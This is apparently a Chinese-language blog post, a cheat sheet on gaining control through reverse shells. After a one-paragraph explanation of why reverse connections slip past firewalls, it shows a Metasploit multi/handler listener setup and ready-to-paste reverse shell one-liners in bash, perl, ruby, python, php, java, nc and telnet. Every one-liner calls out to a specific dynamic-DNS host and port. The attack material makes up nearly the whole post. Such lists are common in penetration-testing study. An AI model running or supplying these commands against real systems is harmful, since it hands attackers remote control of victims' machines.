Update avaliable. Click RELOAD to update.
目录

触发反向 shell 的多种方式获取控制权

metasploit

原理

正向连接获取shell的方式早已不是主流,很容易被防火墙或者杀毒软件监控到,除非是正常的授权操作方式。反向连接原理是攻击者启动监听服务,等待被攻击者主动连接从而获取shell,连接通常是建立 /bin/bash 或者 cmd 的通道。

启动监听

使用 metasploit 常规监听方式

msf > use exploit/multi/handler
msf exploit(handler) > set payload generic/shell_reverse_tcp
msf exploit(handler) > ...... # 设置监听参数
msf exploit(handler) > exploit -j

反向连接

# bash
$ bash -i > /dev/tcp/m1d8457118.iok.la/12832 0<&1 2>&1

# perl
$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"m1d8457118.iok.la:12832");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# ruby
$ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("m1d8457118.iok.la","12832");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# python
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("m1d8457118.iok.la",12832));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# php
$ php -r '$sock=fsockopen("m1d8457118.iok.la",12832);exec("/bin/sh -i <&3 >&3 2>&3");'

# java
r = Runtime.getRuntime();
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/m1d8457118.iok.la/12832;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);
p.waitFor();

# nc
$ nc -e /bin/sh m1d8457118.iok.la 12832
$ /bin/sh | nc m1d8457118.iok.la 12832 # -e 选项被禁用的情况

# telnet
$ mknod backpipe p && telnet m1d8457118.iok.la 12832 0<backpipe | /bin/bash 1>backpipe
版权所有,本作品采用知识共享署名-非商业性使用 3.0 未本地化版本许可协议进行许可。转载请注明出处:https://www.wangjun.dev//2019/06/reversh-shell-way/